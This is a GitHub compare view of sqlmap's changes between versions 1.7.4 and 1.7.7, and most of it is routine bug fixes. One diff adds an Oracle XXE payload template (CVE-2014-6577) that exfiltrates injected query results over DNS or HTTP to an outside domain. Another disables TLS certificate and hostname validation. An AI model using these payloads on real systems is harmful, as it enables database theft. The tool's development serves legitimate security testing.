Compare commits

...

27 Commits
1.7.4 ... 1.7.7

Author SHA1 Message Date
Miroslav Stampar
bb48dd037f Implements #5452 2023-07-06 10:43:43 +02:00
Miroslav Stampar
df388b2150 Python2.7 has been removed from Github CI/CD 2023-06-29 15:51:25 +02:00
Miroslav Stampar
66cc6ae55c Fixes #5445 2023-06-29 15:43:38 +02:00
Miroslav Stampar
322d80c0cf Fixes #5444 2023-06-26 16:37:58 +02:00
Miroslav Stampar
1230e57fca Fixes #5434 2023-06-06 11:23:17 +02:00
Miroslav Stampar
ee15749ac4 Fixes #5431 2023-06-03 22:49:43 +02:00
Miroslav Stampar
8466a89ed3 Trivial update 2023-06-02 11:32:06 +02:00
Miroslav Stampar
acc7b16845 Fixes #5428 2023-06-02 11:25:57 +02:00
Marvin Louis
48c967c01d add support to leverage CVE-2014-6577 for Oracle DNS data exfiltration (#5410)
Co-authored-by: marvin <marvin@debian-BULLSEYE-live-builder-AMD64>
2023-05-25 11:27:15 +02:00
Miroslav Stampar
d28a66a340 Minor patch of vuln tests 2023-05-22 11:31:01 +02:00
Miroslav Stampar
30b43eccab Minor update for #5423 2023-05-22 11:23:04 +02:00
Miroslav Stampar
290a8e7119 Fixes #5411 2023-05-16 10:59:06 +02:00
Miroslav Stampar
cf5e2aa7ef Fixes #5416 2023-05-16 09:48:33 +02:00
Miroslav Stampar
8bc2ace094 Fixes #5409 2023-05-01 09:46:06 +02:00
Sheldon Klassen
e1043173d7 Disabled hostname and certificate validation for TLSv1.3 support. (#5395) 2023-04-24 15:06:57 +02:00
Miroslav Stampar
12c472cef5 Fixes #5404 2023-04-24 14:45:19 +02:00
Miroslav Stampar
037a07ddde Fixes #5401 2023-04-19 16:05:23 +02:00
Miroslav Stampar
0e8940b0be Fixes #5402 2023-04-19 15:58:08 +02:00
Miroslav Stampar
3ad6727d0c Potential patch for #5392 2023-04-17 13:35:24 +02:00
Ufuk
4191b06f58 Update README-tr-TR.md (#5393) 2023-04-17 13:23:36 +02:00
Miroslav Stampar
60bb973c11 Update related to #5389 2023-04-11 14:19:39 +02:00
Miroslav Stampar
0fba9b13b3 Fixes #5387 2023-04-07 13:26:52 +02:00
Miroslav Stampar
17688f6711 Fixes #5379 2023-04-07 12:58:53 +02:00
Miroslav Stampar
3b3c2a5d04 Fixes #5386 2023-04-07 12:32:32 +02:00
Miroslav Stampar
4f7614412f Fixes #5385 2023-04-05 10:56:36 +02:00
Miroslav Stampar
4efb3ea840 One more update related to the #5381 2023-04-05 10:31:17 +02:00
Miroslav Stampar
c2bac51c4f Minor update 2023-04-05 09:33:17 +02:00
21 changed files with 80 additions and 55 deletions

View File

@@ -10,7 +10,7 @@ jobs:
strategy: strategy:
matrix: matrix:
os: [ubuntu-latest, macos-latest, windows-latest] os: [ubuntu-latest, macos-latest, windows-latest]
python-version: [ '2.x', '3.11', 'pypy-2.7', 'pypy-3.7' ] python-version: [ '3.11', 'pypy-2.7', 'pypy-3.7' ]
steps: steps:
- uses: actions/checkout@v2 - uses: actions/checkout@v2
- name: Set up Python - name: Set up Python

View File

@@ -1,2 +1,3 @@
SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
# or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL # or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
# or (CVE-2014-6577) SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/"> %remote;]>'),'/l') FROM dual

View File

@@ -23,7 +23,7 @@ Veya tercihen, [Git](https://github.com/sqlmapproject/sqlmap) reposunu klonlayar
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.6**, **2.7** and **3.x** versiyonları ile bütün platformlarda çalışabilmektedir. sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.6**, **2.7** ve **3.x** versiyonları ile bütün platformlarda çalışabilmektedir.
Kullanım Kullanım
---- ----

View File

@@ -222,7 +222,8 @@ class Agent(object):
def _(pattern, repl, string): def _(pattern, repl, string):
retVal = string retVal = string
match = None match = None
for match in re.finditer(pattern, string):
for match in re.finditer(pattern, string or ""):
pass pass
if match: if match:

View File

@@ -1769,7 +1769,7 @@ def parseTargetUrl():
errMsg = "invalid target URL port (%d)" % conf.port errMsg = "invalid target URL port (%d)" % conf.port
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path)) conf.url = getUnicode("%s://%s%s%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, (":%d" % conf.port) if not (conf.port == 80 and conf.scheme == "http" or conf.port == 443 and conf.scheme == "https") else "", conf.path))
conf.url = conf.url.replace(URI_QUESTION_MARKER, '?') conf.url = conf.url.replace(URI_QUESTION_MARKER, '?')
if urlSplit.query: if urlSplit.query:
@@ -4940,6 +4940,12 @@ def decodeDbmsHexValue(value, raw=False):
>>> decodeDbmsHexValue('3132332031') == u'123 1' >>> decodeDbmsHexValue('3132332031') == u'123 1'
True True
>>> decodeDbmsHexValue('31003200330020003100') == u'123 1'
True
>>> decodeDbmsHexValue('00310032003300200031') == u'123 1'
True
>>> decodeDbmsHexValue('0x31003200330020003100') == u'123 1'
True
>>> decodeDbmsHexValue('313233203') == u'123 ?' >>> decodeDbmsHexValue('313233203') == u'123 ?'
True True
>>> decodeDbmsHexValue(['0x31', '0x32']) == [u'1', u'2'] >>> decodeDbmsHexValue(['0x31', '0x32']) == [u'1', u'2']
@@ -4978,6 +4984,9 @@ def decodeDbmsHexValue(value, raw=False):
if not isinstance(retVal, six.text_type): if not isinstance(retVal, six.text_type):
retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING) retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING)
if u"\x00" in retVal:
retVal = retVal.replace(u"\x00", u"")
return retVal return retVal
try: try:
@@ -5385,11 +5394,12 @@ def parseRequestFile(reqFile, checkParams=True):
elif key.upper() == HTTP_HEADER.HOST.upper(): elif key.upper() == HTTP_HEADER.HOST.upper():
if '://' in value: if '://' in value:
scheme, value = value.split('://')[:2] scheme, value = value.split('://')[:2]
splitValue = value.split(":")
host = splitValue[0]
if len(splitValue) > 1: port = extractRegexResult(r":(?P<result>\d+)\Z", value)
port = filterStringValue(splitValue[1], "[0-9]") if port:
value = value[:-(1 + len(port))]
host = value
# Avoid to add a static content length header to # Avoid to add a static content length header to
# headers and consider the following lines as # headers and consider the following lines as

View File

@@ -9,7 +9,6 @@ from __future__ import division
import binascii import binascii
import functools import functools
import inspect
import math import math
import os import os
import random import random
@@ -313,22 +312,3 @@ def LooseVersion(version):
result = float("NaN") result = float("NaN")
return result return result
# Reference: https://github.com/bottlepy/bottle/blob/df67999584a0e51ec5b691146c7fa4f3c87f5aac/bottle.py
if not hasattr(inspect, "getargspec") and hasattr(inspect, "getfullargspec"):
from inspect import getfullargspec
def makelist(data):
if isinstance(data, (tuple, list, set, dict)):
return list(data)
elif data:
return [data]
else:
return []
def getargspec(func):
spec = getfullargspec(func)
kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs)
return kwargs, spec[1], spec[2], spec[3]
inspect.getargspec = getargspec

View File

@@ -6,6 +6,8 @@ See the file 'LICENSE' for copying permission
""" """
import codecs import codecs
import collections
import inspect
import os import os
import random import random
import re import re
@@ -93,6 +95,26 @@ def dirtyPatches():
else: else:
os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size)) os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size))
# Reference: https://github.com/bottlepy/bottle/blob/df67999584a0e51ec5b691146c7fa4f3c87f5aac/bottle.py
# Reference: https://python.readthedocs.io/en/v2.7.2/library/inspect.html#inspect.getargspec
if not hasattr(inspect, "getargspec") and hasattr(inspect, "getfullargspec"):
ArgSpec = collections.namedtuple("ArgSpec", ("args", "varargs", "keywords", "defaults"))
def makelist(data):
if isinstance(data, (tuple, list, set, dict)):
return list(data)
elif data:
return [data]
else:
return []
def getargspec(func):
spec = inspect.getfullargspec(func)
kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs)
return ArgSpec(kwargs, spec[1], spec[2], spec[3])
inspect.getargspec = getargspec
def resolveCrossReferences(): def resolveCrossReferences():
""" """
Place for cross-reference resolution Place for cross-reference resolution

View File

@@ -20,7 +20,7 @@ from thirdparty import six
from thirdparty.six import unichr as _unichr from thirdparty.six import unichr as _unichr
# sqlmap version (<major>.<minor>.<month>.<monthly commit>) # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.7.4.0" VERSION = "1.7.7.0"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -431,7 +431,7 @@ META_REFRESH_REGEX = r'(?i)<meta http-equiv="?refresh"?[^>]+content="?[^">]+;\s*
JAVASCRIPT_HREF_REGEX = r'<script>\s*(\w+\.)?location\.href\s*=["\'](?P<result>[^"\']+)' JAVASCRIPT_HREF_REGEX = r'<script>\s*(\w+\.)?location\.href\s*=["\'](?P<result>[^"\']+)'
# Regular expression used for parsing empty fields in tested form data # Regular expression used for parsing empty fields in tested form data
EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P<result>[^=]+=(&|\Z))' EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P<result>[^=]+=)(?=&|\Z)'
# Reference: http://www.cs.ru.nl/bachelorscripties/2010/Martin_Devillers___0437999___Analyzing_password_strength.pdf # Reference: http://www.cs.ru.nl/bachelorscripties/2010/Martin_Devillers___0437999___Analyzing_password_strength.pdf
COMMON_PASSWORD_SUFFIXES = ("1", "123", "2", "12", "3", "13", "7", "11", "5", "22", "23", "01", "4", "07", "21", "14", "10", "06", "08", "8", "15", "69", "16", "6", "18") COMMON_PASSWORD_SUFFIXES = ("1", "123", "2", "12", "3", "13", "7", "11", "5", "22", "23", "01", "4", "07", "21", "14", "10", "06", "08", "8", "15", "69", "16", "6", "18")

View File

@@ -157,6 +157,7 @@ def _setRequestParams():
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".*?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".*?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*")"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
for match in re.finditer(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data): for match in re.finditer(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data):

View File

@@ -48,8 +48,8 @@ def vulnTest():
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")), ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
("-u \"<url>&id2=1\" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\"AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"", ("~1AND",)), ("-u \"<url>&id2=1\" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\"AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"", ("~1AND",)),
("--list-tampers", ("between", "MySQL", "xforwardedfor")), ("--list-tampers", ("between", "MySQL", "xforwardedfor")),
("-r <request> --flush-session -v 5 --test-skip=\"heavy\" --save=<config>", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), ("-r <request> --flush-session -v 5 --test-skip=\"heavy\" --save=<config>", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")),
("-c <config>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")), ("-c <config>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")),
("-l <log> --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), ("-l <log> --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")), ("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
("-u <base> --flush-session --data=\"id=1&_=Eewef6oh\" --chunked --randomize=_ --random-agent --banner", ("fetched random HTTP User-Agent header value", "Parameter: id (POST)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")), ("-u <base> --flush-session --data=\"id=1&_=Eewef6oh\" --chunked --randomize=_ --random-agent --banner", ("fetched random HTTP User-Agent header value", "Parameter: id (POST)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
@@ -147,7 +147,7 @@ def vulnTest():
handle, multiple = tempfile.mkstemp(suffix=".lst") handle, multiple = tempfile.mkstemp(suffix=".lst")
os.close(handle) os.close(handle)
content = "POST / HTTP/1.0\nUser-agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port) content = "POST / HTTP/1.0\nUser-Agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port)
with open(request, "w+") as f: with open(request, "w+") as f:
f.write(content) f.write(content)
f.flush() f.flush()

View File

@@ -71,7 +71,7 @@ def update():
logger.warning(warnMsg) logger.warning(warnMsg)
if VERSION == getLatestRevision(): if VERSION == getLatestRevision():
logger.info("already at the latest revision '%s'" % getRevisionNumber()) logger.info("already at the latest revision '%s'" % (getRevisionNumber() or VERSION))
return return
message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]" message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]"

View File

@@ -1001,6 +1001,9 @@ def cmdLineParser(argv=None):
argv[i] = argv[i].replace("--auth-creds", "--auth-cred", 1) argv[i] = argv[i].replace("--auth-creds", "--auth-cred", 1)
elif argv[i].startswith("--drop-cookie"): elif argv[i].startswith("--drop-cookie"):
argv[i] = argv[i].replace("--drop-cookie", "--drop-set-cookie", 1) argv[i] = argv[i].replace("--drop-cookie", "--drop-set-cookie", 1)
elif re.search(r"\A--tamper[^=\s]", argv[i]):
argv[i] = ""
continue
elif re.search(r"\A(--(tamper|ignore-code|skip))(?!-)", argv[i]): elif re.search(r"\A(--(tamper|ignore-code|skip))(?!-)", argv[i]):
key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1) key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1)
index = auxIndexes.get(key, None) index = auxIndexes.get(key, None)

View File

@@ -441,7 +441,7 @@ class Connect(object):
requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str
# Prepare HTTP headers # Prepare HTTP headers
headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {}) headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {})
if HTTP_HEADER.COOKIE in headers: if HTTP_HEADER.COOKIE in headers:
cookie = headers[HTTP_HEADER.COOKIE] cookie = headers[HTTP_HEADER.COOKIE]
@@ -453,9 +453,6 @@ class Connect(object):
headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader
if not conf.requestFile or not target: if not conf.requestFile or not target:
if not getHeader(headers, HTTP_HEADER.HOST):
headers[HTTP_HEADER.HOST] = getHostHeader(url)
if not getHeader(headers, HTTP_HEADER.ACCEPT): if not getHeader(headers, HTTP_HEADER.ACCEPT):
headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
@@ -544,7 +541,7 @@ class Connect(object):
responseHeaders = _(ws.getheaders()) responseHeaders = _(ws.getheaders())
responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()] responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]
requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) requestHeaders += "\r\n".join(["%s: %s" % (u"-".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, "capitalize") else getUnicode(key), getUnicode(value)) for (key, value) in responseHeaders.items()])
requestMsg += "\r\n%s" % requestHeaders requestMsg += "\r\n%s" % requestHeaders
if post is not None: if post is not None:
@@ -583,7 +580,7 @@ class Connect(object):
else: else:
post, headers = req.data, req.headers post, headers = req.data, req.headers
requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in req.header_items()]) requestHeaders += "\r\n".join(["%s: %s" % (u"-".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, "capitalize") else getUnicode(key), getUnicode(value)) for (key, value) in req.header_items()])
if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj: if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
conf.cj._policy._now = conf.cj._now = int(time.time()) conf.cj._policy._now = conf.cj._now = int(time.time())
@@ -814,7 +811,7 @@ class Connect(object):
debugMsg = "got HTTP error code: %d ('%s')" % (code, status) debugMsg = "got HTTP error code: %d ('%s')" % (code, status)
logger.debug(debugMsg) logger.debug(debugMsg)
except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError): except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError, AssertionError, KeyError):
tbMsg = traceback.format_exc() tbMsg = traceback.format_exc()
if conf.debug: if conf.debug:
@@ -822,6 +819,11 @@ class Connect(object):
if checking: if checking:
return None, None, None return None, None, None
elif "KeyError:" in tbMsg:
if "content-length" in tbMsg:
return None, None, None
else:
raise
elif "AttributeError:" in tbMsg: elif "AttributeError:" in tbMsg:
if "WSAECONNREFUSED" in tbMsg: if "WSAECONNREFUSED" in tbMsg:
return None, None, None return None, None, None

View File

@@ -27,7 +27,7 @@ try:
except ImportError: except ImportError:
pass pass
_protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2")) _protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLS_CLIENT", "PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))
_lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_")) _lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_"))
_contexts = {} _contexts = {}
@@ -69,6 +69,11 @@ class HTTPSConnection(_http_client.HTTPSConnection):
sock = create_sock() sock = create_sock()
if protocol not in _contexts: if protocol not in _contexts:
_contexts[protocol] = ssl.SSLContext(protocol) _contexts[protocol] = ssl.SSLContext(protocol)
# Disable certificate and hostname validation enabled by default with PROTOCOL_TLS_CLIENT
_contexts[protocol].check_hostname = False
_contexts[protocol].verify_mode = ssl.CERT_NONE
if getattr(self, "cert_file", None) and getattr(self, "key_file", None): if getattr(self, "cert_file", None) and getattr(self, "key_file", None):
_contexts[protocol].load_cert_chain(certfile=self.cert_file, keyfile=self.key_file) _contexts[protocol].load_cert_chain(certfile=self.cert_file, keyfile=self.key_file)
try: try:

View File

@@ -66,7 +66,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
self.redirect_request = self._redirect_request self.redirect_request = self._redirect_request
def _redirect_request(self, req, fp, code, msg, headers, newurl): def _redirect_request(self, req, fp, code, msg, headers, newurl):
return _urllib.request.Request(newurl.replace(' ', '%20'), data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host()) return _urllib.request.Request(newurl.replace(' ', '%20'), data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host() if hasattr(req, "get_origin_req_host") else req.origin_req_host)
def http_error_302(self, req, fp, code, msg, headers): def http_error_302(self, req, fp, code, msg, headers):
start = time.time() start = time.time()

View File

@@ -7,7 +7,6 @@ See the file 'LICENSE' for copying permission
from __future__ import division from __future__ import division
import logging
import time import time
from lib.core.common import Backend from lib.core.common import Backend
@@ -387,9 +386,6 @@ def fileExists(pathFile):
kb.locks.io.release() kb.locks.io.release()
try: try:
pushValue(logger.getEffectiveLevel())
logger.setLevel(logging.CRITICAL)
runThreads(conf.threads, fileExistsThread, threadChoice=True) runThreads(conf.threads, fileExistsThread, threadChoice=True)
except KeyboardInterrupt: except KeyboardInterrupt:
warnMsg = "user aborted during file existence " warnMsg = "user aborted during file existence "
@@ -397,7 +393,6 @@ def fileExists(pathFile):
logger.warning(warnMsg) logger.warning(warnMsg)
finally: finally:
kb.bruteMode = False kb.bruteMode = False
logger.setLevel(popValue())
clearConsoleLine(True) clearConsoleLine(True)
dataToStdout("\n") dataToStdout("\n")

View File

@@ -87,7 +87,7 @@ class Fingerprint(GenericFingerprint):
infoMsg = "testing %s" % DBMS.H2 infoMsg = "testing %s" % DBMS.H2
logger.info(infoMsg) logger.info(infoMsg)
result = inject.checkBooleanExpression("ZERO() IS 0") result = inject.checkBooleanExpression("ZERO()=0")
if result: if result:
infoMsg = "confirming %s" % DBMS.H2 infoMsg = "confirming %s" % DBMS.H2

View File

@@ -45,9 +45,9 @@ class Fingerprint(GenericFingerprint):
# Reference: https://dev.mysql.com/doc/relnotes/mysql/<major>.<minor>/en/ # Reference: https://dev.mysql.com/doc/relnotes/mysql/<major>.<minor>/en/
versions = ( versions = (
(80000, 80029), # MySQL 8.0 (80000, 80033), # MySQL 8.0
(60000, 60014), # MySQL 6.0 (60000, 60014), # MySQL 6.0
(50700, 50741), # MySQL 5.7 (50700, 50742), # MySQL 5.7
(50600, 50652), # MySQL 5.6 (50600, 50652), # MySQL 5.6
(50500, 50563), # MySQL 5.5 (50500, 50563), # MySQL 5.5
(50400, 50404), # MySQL 5.4 (50400, 50404), # MySQL 5.4

View File

@@ -222,13 +222,13 @@ class Filesystem(object):
if conf.direct or isStackingAvailable(): if conf.direct or isStackingAvailable():
if isStackingAvailable(): if isStackingAvailable():
debugMsg = "going to read the file with stacked query SQL " debugMsg = "going to try to read the file with stacked query SQL "
debugMsg += "injection technique" debugMsg += "injection technique"
logger.debug(debugMsg) logger.debug(debugMsg)
fileContent = self.stackedReadFile(remoteFile) fileContent = self.stackedReadFile(remoteFile)
elif Backend.isDbms(DBMS.MYSQL): elif Backend.isDbms(DBMS.MYSQL):
debugMsg = "going to read the file with a non-stacked query " debugMsg = "going to try to read the file with non-stacked query "
debugMsg += "SQL injection technique" debugMsg += "SQL injection technique"
logger.debug(debugMsg) logger.debug(debugMsg)

View File

@@ -472,6 +472,11 @@ def main():
logger.critical(errMsg) logger.critical(errMsg)
raise SystemExit raise SystemExit
elif all(_ in excMsg for _ in ("FileNotFoundError: [Errno 2] No such file or directory", "cwd = os.getcwd()")):
errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip()
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in ("PermissionError: [WinError 5]", "multiprocessing")): elif all(_ in excMsg for _ in ("PermissionError: [WinError 5]", "multiprocessing")):
errMsg = "there is a permission problem in running multiprocessing on this system. " errMsg = "there is a permission problem in running multiprocessing on this system. "
errMsg += "Please rerun with '--disable-multi'" errMsg += "Please rerun with '--disable-multi'"
@@ -548,7 +553,7 @@ def main():
finally: finally:
kb.threadContinue = False kb.threadContinue = False
if getDaysFromLastUpdate() > LAST_UPDATE_NAGGING_DAYS: if (getDaysFromLastUpdate() or 0) > LAST_UPDATE_NAGGING_DAYS:
warnMsg = "your sqlmap version is outdated" warnMsg = "your sqlmap version is outdated"
logger.warning(warnMsg) logger.warning(warnMsg)

View File

@@ -195,7 +195,7 @@ class socksocket(socket.socket):
elif chosenauth[1:2] == chr(0x02).encode(): elif chosenauth[1:2] == chr(0x02).encode():
# Okay, we need to perform a basic username/password # Okay, we need to perform a basic username/password
# authentication. # authentication.
self.sendall(chr(0x01).encode() + chr(len(self.__proxy[4])) + self.__proxy[4] + chr(len(self.__proxy[5])) + self.__proxy[5]) self.sendall(chr(0x01).encode() + chr(len(self.__proxy[4])).encode() + self.__proxy[4].encode() + chr(len(self.__proxy[5])).encode() + self.__proxy[5].encode())
authstat = self.__recvall(2) authstat = self.__recvall(2)
if authstat[0:1] != chr(0x01).encode(): if authstat[0:1] != chr(0x01).encode():
# Bad response # Bad response